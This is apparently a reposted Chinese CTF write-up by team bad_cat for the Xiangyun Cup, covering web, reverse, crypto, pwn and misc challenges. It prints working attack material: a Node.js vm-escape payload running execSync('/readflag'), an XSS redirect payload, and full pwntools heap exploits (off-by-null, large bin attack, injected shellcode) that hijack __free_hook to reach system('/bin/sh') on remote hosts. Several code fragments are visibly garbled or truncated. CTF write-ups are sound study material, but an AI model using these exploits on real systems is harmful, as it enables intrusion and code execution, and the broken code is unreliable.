您当前的位置: 首页 > 

合天网安实验室

暂无认证

  • 0浏览

    0关注

    748博文

    0收益

  • 0浏览

    0点赞

    0打赏

    0留言

私信
关注
热门博文

祥云杯题解

合天网安实验室 发布时间:2021-08-25 15:36:10 ,浏览量:0

在这里插入图片描述

原创稿件征集 邮箱:edu@antvsion.com QQ:3200599554 黑客与极客相关,互联网安全领域里的热点话题漏洞、技术相关的调查或分析,稿件通过并发布还能收获200-800元不等的稿酬。

# bad_cat战队WRITEUP

一、 战队信息

战队名称:bad_cat

战队排名:6

二、 解题情况 三、 解题过程 web **1、**ezyii

网上搜yii的1day

https://xz.aliyun.com/t/9948#toc-6

思路类似于第四条链子

exp:

输入就可以写到session里面了

用#注释掉后面的一句话木马,不被访问,要的是这个路由,记录路由后,再换个浏览器的phpsession访问一下即可

ls发现了/getflag.sh 因为过滤了flag,base一下才行

在这里插入图片描述

flag{c2c15ff3-0341-49f0-9997-36b107b9cf3a}

**4、**crawler_z

第一次我注册的yenan/yenan,填写profile后观察url出现token1

第二次admin/admin,直接ssrf伪造/user/verify?token=token1 在这里插入图片描述

可以指定爬取

vps启动一个http

Python -m SimpleHTTPServer 11111

然后去访问 http://82.157.39.20:11111/escape.html#oss-cn-beijing.ichunqiu.com

在这里插入图片描述

读到了,后面构造js的vm逃逸,document.write直接在html里面写,省去外带了


document.write(this.constructor.constructor.constructor.constructor('return process')().mainModule.require('child_process').execSync('/readflag').toString());
     

在这里插入图片描述

在这里插入图片描述

flag{f0425be6-3e46-472a-8879-e19525839caf}

5、Secrets_Of_Admin

源码拿到

admin@e365655e013ce7fdbdbf8f27b418c8fe6dc9354dc4c0328fa02b0ea547659645

登陆

js的数组绕过,这样检测就没有某个元素绕不过正则了,写checksum为crhyyds,提交post时候url编码下

content[]=%3Cscript%3Elocation.href%3D%22http%3A%2F%2F127.0.0.1%3A8888%2Fapi%2Ffiles%3Fusername%3Dadmin%26filename%3D…%2Ffiles%2Fflag%26checksum%3Dcrhyyds%22%3B%3C%2Fscript%3E

得到flag为:flag{65453076-effe-48dc-98d5-d0d235f766f8}

reverse **1、**Rev_APC

生成dll代码

知道了 sha3-256,但是后面并没用上。

核心逻辑:在dll的0x1800015C0函数中,与sys有两种方式通信。

  1. dll的0x1800015C0函数中调用了NtRequestWaitReplyPort,这个sys中有NtReplyWaitReceivePort函数负责接收。sys真正处理数据的函数0x14000298C,算法比较好看懂。
  2. dll中调用DeviceIOControl,对应sys中的函数为0x140003660。

后面就是看算法了。

exp:

from zio import *
def fun6(a, b):
    for i in range(32):
        c = a[i]
        if (c >= 33) & (c = 81) & (c > 4)
        elif (c > 128):
            a[i] = c - 48
            b[i] = (b[i]-a[i])&0xff
    return a, b

def defun6(a, b):
    for i in range(32):
        c = a[i]
        if (c >= 33) & (c = 81) & (c > 4)
        elif (c > 128):
            a[i] = c - 48
            b[i] = (b[i]+a[i])&0xff
    return a, b

def fun5(a, b):
    for i in range(32):
        b[i] ^= a[i]
    return a, b

def fun4(a, b):
    for i in range(32):
        a[i] = (a[i] - 80) & 0xff
    for i in range(16):
        b[2 * i] ^= (16 * a[2 * i]) & 0xff
        b[2 * i + 1] ^= ((a[2 * i]) >> 4) & 0xf
    return a, b

def fun3(a, b):
    for i in range(32):
        b[i] ^= a[i]
    return a, b

def fun2(a, b):
    for i in range(32):
        a[i] = (a[i] - 80) & 0xff
        b[i] ^= ((a[i]>>4)&0xf) | ((a[i]> 16)&0x7fff


def gen_order(seed=1):
    srand(seed)
    orders = []
    for i in range(32):
        orders.append(rand() % 6)
    return orders

orders = gen_order(seed=1)
aas = get_aas(orders)
dec(aas, orders, 1)

flag{Kmode_Umode_Communication!}

**2、**勒索解密

分析的程序主要逻辑为先计算出固定秘钥+时间戳结合生成的key进行sha256,再以此作为key将生成将.bmp文件内容进行aes加密,加密iv为0 在这里插入图片描述

代码如下:

#coding:utf-8
import base64
from hashlib import *
from Crypto.Cipher import AES

def decrypt(data, key):
    cryptos = AES.new(key, AES.MODE_ECB)
    decrpytBytes = list(base64.b64decode(data))
    decrpytBytes = bytes(decrpytBytes) 
    data = cryptos.decrypt(decrpytBytes)
    return data

key = "f4b6bb19108b56fc60a61fc967c0afbe71d2d9048ac0ffe931c901e75689eb46"[:32]
key = bytes.fromhex(key)
f1 = open("flag.bmp.ctf_crypter", "rb")
f2 = open("flag.bmp", "wb")
data = f1.read()

def xor(enc, data):
    res = []
    for i in range(len(a)):
        res += [enc[i]^data[i]]
    return bytes(res)
    
for i in range(len(data)//16):
    enc = base64.b64encode(data[16*i:16*(i+1)])
    if i > 0:
        ans = xor(decrypt(enc, key), data[16*(i-1):16*i])
    else:
        ans = decrypt(enc, key)
    fp2.write(ans)
f1.close()
f2.close()

解密得到flag如下:

在这里插入图片描述

3、**LightningSystem

从hex生成bin文件。bin文件用ida打开,选择arm架构。分析程序发现从spi接口读取了512字节的数据。通过tips链接下载的logic2软件打开logic.sal可以看到4个波形图,其中chall 2为输入,根据波形提取出512字节数据。继续分析LightningSystem.bin代码,可以看出是个vm,写脚本得到vmcode的功能。继续分析vmcode的代码,得到算法,最后求解exp如下:

求解

def brute(v4, v5, a, b, j):
    should_out = [0x12, 0x67, 0x0F, 0xDB, 0xF6, 0x0A, 0x0F, 0x39, 0xF6, 0xC9, 0xF5, 0xC1, 0xF2, 0xA3, 0x0D, 0xD0, 0xF5, 0x01, 0x0C, 0x6F, 0x0E, 0x39, 0xF2, 0x80, 0xF5, 0xE4, 0x0C, 0xD7, 0xF8, 0x68, 0x0C, 0x96, 0xF5, 0xA5, 0x0F, 0x9F, 0x0F, 0x31, 0xF9, 0x2E, 0x1B, 0x07]
    v13 = a
    v14 = b
    v15 = 7 * (j ^ 0x4D)
    v16 = (v5 + 7 * (j ^ 0x4D)) & 0xff
    v18 = v13 - 0x20 + v16
    v19 = (v14 - 0x20) > 8) + ((v15 + v5) >> 8)) & 0xff)
    o2 = ((v18 + v19) & 0xff)
    if (o1 == should_out[2*j]) & (o2 == should_out[2*j+1]):
        print a, b
        return True
    return False

v4 = 234
v5 = 6
s = ''
for k in range(21):
    find = False
    for a in range(0x20, 0x80):
        for b in range(0x20, 0x80):
            if brute(v4, v5, a, b, k):
                s += chr(a)+chr(b)
                find = True
                break
        if find:
            break
    if not find:
        print ('fail')
print s

得到flag如下:flag{31fd5c30-dc82-abd0-741b-9ba425f2e692}

**4、**Rev_Dizzy

看反编译的代码,完了拿比较的数据反过来进行加减异或

代码太大,就不贴了,在附属文档(命名为deal.cpp)

跑出flag如下: 在这里插入图片描述

crypto **1、**Guess

先是一个sha256的爆破,一共要爆破四位,10秒内出结果,第一关就过去了,第二关和矩阵运算有关,key的矩阵给了第一列的数据【119,201,718,647】,有了这行数据和最后矩阵相乘的结果,可以通过sage函数key.solve_left()来求得中间生成的随机矩阵。 在这里插入图片描述

但这个函数的限制条件没调好,现在只能解出一个无用的特解。

首先求key,key是一个204的矩阵,乘以一个412的矩阵得到hint中的矩阵。也就是A*R=B,已知B求A。https://ctf.njupt.edu.cn/546.html#diamond该博客中有解法,其中的代码稍微修改修改即可

msg = open(r'C:\\Users\\wcj\\Desktop\\guess_c31fa29ffba2ff77b12dec354b8909e6\\hint', 'r').readlines()
B = []
for var in msg:
    var = var[1:-2].split(' ')
    for x in var:
        B.append(int(x))
BB = []
for i in range(0, len(B), 20):
    BB.append(B[i: i + 20])
As = []
for i in range(1000):
    shuffle(BB)
    for line in matrix(len(BB), 20, BB).LLL(delta=float(randint(30000, 99999)/100000)):
        if line[0] < 0:
            line = -line
        if line not in As and all(map(lambda x: 100 0x%x\033[0m' % (s, addr))

def bp(bkp=0, other=''):
    if bkp == 0:
        cmd = ''
    elif bkp >8)&0xff)  ##覆盖环境变量的位置
    success(payload.encode('hex'))
    edit(-260,payload)

    add(0,'desh',0x20,'a')
    dele(0)
    add(0,'desh',0x10,'a')
    add2(1,'desh',0x114514)
    dele(0)
    payload = p64(0x20)+p64(0x450)+p64(0x100000018)+p64(0x0)
    add(0,'desh',0x20,payload)
    dele(0)
    dele(1)
    add(0,'\xa0',0x20,'\xa0')
    add2(1,p64(0x10),0x20)

while True:
    try:
        p = remote("47.104.70.90",34524)
        exploit()
        aaa = ru("or corruption (!prev):")
        print aaa
        if "flag" in aaa:
            pause()
    except:
        p.close()
        continue

flag{f578948e-8b48-494d-a11e-a97b7fbf14ee}

**3、**PassWordBox_FreeVersion

fgets可以溢出一个\x00;

libc2.27下的off by null,实现chunk overlap,进而修改tcache的fd指针,分配到__free_hook处,并将其修改为system

#!usr/bin/env python
#-*- coding:utf8 -*-
from pwn import *
import sys

pc="./pwdFree"
reomote_addr=["47.104.71.220",38562]
elf = ELF(pc)
libc = elf.libc
context.binary=pc
context.terminal=["gnome-terminal",'-x','sh','-c']

if len(sys.argv)==1:
    # p=process(pc)
    context.log_level="debug" 
    p=process(pc,env={"LD_PRELOAD":"./libc.so.6"})
if len(sys.argv)==2 :
    if 'l' in sys.argv[1]:
        p=process(pc)
    if 'r' in sys.argv[1]:
        p = remote(reomote_addr[0],reomote_addr[1])
    if 'n' not in sys.argv[1]:
        context.log_level="debug" 

ru = lambda x : p.recvuntil(x,timeout=0.2)
sn = lambda x : p.send(x)
rl = lambda   : p.recvline() 
sl = lambda x : p.sendline(x)
rv = lambda x : p.recv(x)
sa = lambda a,b : p.sendafter(a,b)
sla = lambda a,b : p.sendlineafter(a,b)
shell= lambda :p.interactive() 
ru7f = lambda : u64(ru('\x7f')[-6:].ljust(8,'\x00'))
rv6 = lambda : u64(rv(6)+'\x00'*2)

def lg(s,addr):
    print('\033[1;31;40m%20s-->0x%x\033[0m'%(s,addr)) 

what_choice="Input Your Choice:"
ch_add="1"
ch_dele="4"
ch_edit="2"
ch_show="3"
what_size="Length Of Your Pwd:"
what_c="Your Pwd:"
what_idx="Which PwdBox You Want Check:"
def add(ID,size,c=''):  ##0x100
    ru(what_choice)
    sl(ch_add)
    ru("Input The ID You Want Save:")
    sl(ID)
    ru(what_size)
    sl(str(size))
    ru(what_c)
    sl(c)

def add2(ID,size,c=''):  ##0x100
    ru(what_choice)
    sl(ch_add)
    ru("Input The ID You Want Save:")
    sl(ID)
    ru(what_size)
    sl(str(size))
    ru(what_c)
    sn(c)

def dele(idx):
    ru(what_choice)
    sl(ch_dele)
    ru("Idx you want 2 Delete:")
    sl(str(idx))

def edit(idx,c):
    ru(what_choice)
    sl(ch_edit)
    sl(str(idx))  
    sn(c)  

def show(idx):
    ru(what_choice)
    sl(ch_show)
    ru(what_idx)
    sl(str(idx))

add('',0x20) #0
ru("Save ID:")
rv(8)
key = u64(rv(8))

for i in range(7): #1-7
    add('d',0xf8)

add('d',0x28) #8
add('d',0xf8) #9

for i in range(2):    #10-11
    add('Desh',0x48)

add('D',0x28)  #12
add('D',0xf8)  #13
add('D',0x28)  #14

for i in range(7):
    dele(i+1)

dele(12)
add2('d',0x28,'a'*0x20+p64(0x1d0^key))

dele(9)
dele(13)

for i in range(8):  #1-7 ,9
    add('d',0xf8)

show(10)
ru("Pwd is: ")
libc_base = u64(rv(8))^key  
libc_base -= 0x3ebca0 
free_hook=libc_base+libc.sym['__free_hook']
sys_addr=libc_base+libc.sym['system']
lg("libc_base",libc_base)
lg("free_hook",free_hook)

add('d',0x48) #13
dele(10)
edit(13,p64(free_hook))

add('d',0x40,p64(0x68732f6e69622f^key)) #10  
add('d',0x40,p64(sys_addr^key))

dele(10)

lg("key",key)
shell()

flag{2db0e64f-afe1-44d4-9af9-ae138da7bb4b}

4、PassWordBox_ProVersion

存在UAF,且只能申请largebin大小的chunk

通过2.31的large bin attack,可以修改 mp_结构体中的tcache_bins和tcache_max_bytes 在这里插入图片描述

之后通过计算,在伪造的tcache struct的相应size的位置上写上__free_hook,可将其申请出来改为system

exp:

#!/usr/bin/env python
# -*- coding: utf-8 -*-
from pwn import *

pc = './pwdPro'
# p = process(pc)
libc = ELF("./libc.so")
p = remote("47.104.71.220", 49261)
context.log_level = 'debug'
context.binary=pc
context.terminal=["gnome-terminal",'-x','sh','-c']

ru = lambda x : p.recvuntil(x,timeout=0.2)
sn = lambda x : p.send(x)
rl = lambda   : p.recvline() 
sl = lambda x : p.sendline(x)
rv = lambda x : p.recv(x)
sa = lambda a,b : p.sendafter(a,b)
sla = lambda a,b : p.sendlineafter(a,b)
shell= lambda :p.interactive() 
ru7f = lambda : u64(ru('\x7f')[-6:].ljust(8,'\x00'))
rv6 = lambda : u64(rv(6)+'\x00'*2)

def add(idx, id, size, content="a\n"):
    sla("Choice:", "1")
    sla("Add:", str(idx))
    sla("Save:", id)
    sla("Of Your Pwd:", str(size))
    sa("Your Pwd:", content)
def show(idx):
    sla("Choice:", "3")
    sla("", str(idx))
def edit(idx, content):
    sla("Choice:", "2")
    sla("Edit:", str(idx))
    sn(content)
def dele(idx):
    sla("Choice:", "4")
    sla("Delete:", str(idx))
def re(idx):
    sla("Choice:", "5")
    sla("Recover:", str(idx))


add(0, "a", 0x450)
ru("ID:")
rv(8)
key = u64(rv(8))
print(hex(key))

add(1, "a", 0x420)
dele(0)
re(0)
show(0)
ru("Pwd is: ")

libc.address = (u64(rv(8))^key) - 0x1ebbe0
print(hex(libc.address))

add(0, "a", 0x450)
add(2, "a", 0x440)
add(3, "a", 0x420)
dele(0)
add(4, "a", 0x600)
dele(2)
re(0)
show(0)
ru("Pwd is: ")
rv(0x10)
heap_addr = u64(rv(8))^key
print(hex(heap_addr))
edit(0, p64(libc.address + 0x1ec010 )*2+p64(heap_addr)+p64(libc.address+0x1eb2d8-0x20-4)+'\n')

add(10, "a", 0x600)
add(11, "a", 0x800, p64(u64("/bin/sh\x00")^key)+"\n")

dele(10)
edit(0, "a"*0xe8+p64(libc.sym['__free_hook']))
add(12, "a", 0x600, p64(libc.sym['system']^key)+'\n')
dele(11)


shell()

flag{909cf735-b274-4098-885b-589300839b71}

5、JigSaw’sCage

存在整数溢出/宽度溢出,可以绕过检查得到一块rwx的堆地址:

在这里插入图片描述

test函数可以执行输入的汇编代码

利用残留的寄存器r10,r12,分两次写,把__free_hook改为system即可:

在这里插入图片描述

add r10, 0x50068 
mov r12, r10

sub r10, 0x1496b0 
mov qword ptr [r12],r10

exp:

#!usr/bin/env python
#-*- coding:utf8 -*-
from pwn import *
import sys

pc="./JigSAW"
reomote_addr=["47.104.71.220",10273]
elf = ELF(pc)
libc = elf.libc
context.binary=pc
context.terminal=["gnome-terminal",'-x','sh','-c']

if len(sys.argv)==1:
    # p=process(pc)
    context.log_level="debug" 
    p=process(pc,env={"LD_PRELOAD":"./libc.so"})
if len(sys.argv)==2 :
    if 'l' in sys.argv[1]:
        p=process(pc)
    if 'r' in sys.argv[1]:
        p = remote(reomote_addr[0],reomote_addr[1])
    if 'n' not in sys.argv[1]:
        context.log_level="debug" 

ru = lambda x : p.recvuntil(x,timeout=0.2)
sn = lambda x : p.send(x)
rl = lambda   : p.recvline() 
sl = lambda x : p.sendline(x)
rv = lambda x : p.recv(x)
sa = lambda a,b : p.sendafter(a,b)
sla = lambda a,b : p.sendlineafter(a,b)
shell= lambda :p.interactive() 
ru7f = lambda : u64(ru('\x7f')[-6:].ljust(8,'\x00'))
rv6 = lambda : u64(rv(6)+'\x00'*2)

def lg(s,addr):
    print('\033[1;31;40m%20s-->0x%x\033[0m'%(s,addr)) 

what_choice="Choice : "
ch_add="1"
ch_dele="3"
ch_edit="2"
ch_show="5"
what_size=""
what_c="iNput:"
what_idx="Index? : "
def add(idx):  # 0x10 5个
    ru(what_choice)
    sl(ch_add)
    ru(what_idx)
    sl(str(idx))

def dele(idx):
    ru(what_choice)
    sl(ch_dele)
    ru(what_idx)
    sl(str(idx))

def edit(idx,c):   #0x10
    ru(what_choice)
    sl(ch_edit)
    ru(what_idx)
    sl(str(idx))
    ru(what_c)  
    sn(c)  ##

def test(idx):
    ru(what_choice)
    sl('4')
    ru(what_idx)
    sl(str(idx))

def show(idx):
    ru(what_choice)
    sl(ch_show)
    ru(what_idx)
    sl(str(idx))

ru("Name:")
sl('desh')
ru("The result is ")
size = ru('\n')
print(int(size,10))

ru("Make your Choice:")
sl(str(0xffff00000000))

code1 = asm("add r10, 0x50068; mov r12, r10;")
code2 = asm("sub r10, 0x1496b0; mov qword ptr [r12], r10")

add(0)
add(1)
add(2)
edit(0,code1)
edit(1,code2)
edit(2,'/bin/sh\x00')
test(0)
test(1)
dele(2)

shell()

flag{58591d4d-068f-47ed-9305-a65762917b06}

misc **1、**层层取证

挂载镜像,在内存中找到密钥

在这里插入图片描述

bitlocker密钥 549714-116633-006446-278597-176000-708532-618101-131406

在这里插入图片描述

发现一个流量包 在这里插入图片描述

跟踪udp,打开,保存为zip格式 在这里插入图片描述

右边有hint和开机密码同 在这里插入图片描述

hashdump一下

在这里插入图片描述

解一下 xiaoming_handsome是压缩包密码

打开docx,还有一层密码

在这里插入图片描述

原始数据中搜索

在这里插入图片描述

在这里插入图片描述

在这里插入图片描述

**2、**鸣雏恋

解压后,得到一个docx,里面就几个字,没有隐藏。改为zip后缀试试。

解压zip,里面的key.txt是零宽

在这里插入图片描述

密码是 Because I like naruto best

解压缩包,转化0和1,一把梭出图片

from PIL import Image
from Crypto.Util.number import long_to_bytes
import base64
path = "D:\\Desktop\\xiangyuncup\\misc4_\\_rels\\out\\"
flag = "0b"
for i in range(129488):
    _path=path+str(i)+".png"
    a=Image.open(_path)
    if a.size[0] == 23:flag+="0"
    else:flag+="1"
cipher=int(flag, 2)
data=long_to_bytes(cipher)
data = str(data).split(',')[1].encode()
image_data = base64.b64decode(data)
with open('1.png', 'wb') as f:
    f.write(image_data)

在这里插入图片描述

3、ChieftainsSecret

binwalk可以得到一个表和一张芯片示意图:

显然是要分析芯片的功能了。

表用折线图画,可以发现是一些三角函数信号,根据信号应该可以得出什么信息 在这里插入图片描述

处理一下四组数据

https://www.bilibili.com/video/av58935371/ 学习了下怎么转换时间

x=cos_p-cos_n

y=sin_p-sin_n 在这里插入图片描述

转换成角度,算出theta(atan2(x,y)*57.3,负值加360),画图得到:

在这里插入图片描述

逐个比对出峰值对应号码,得到77085962457。

实操推荐:

通过本系列的学习,能够对CTF中web有体系的了解,通过练习提升技术。

赶快来靶场免费体验吧!

关注
打赏
1665306545
查看更多评论
0.1306s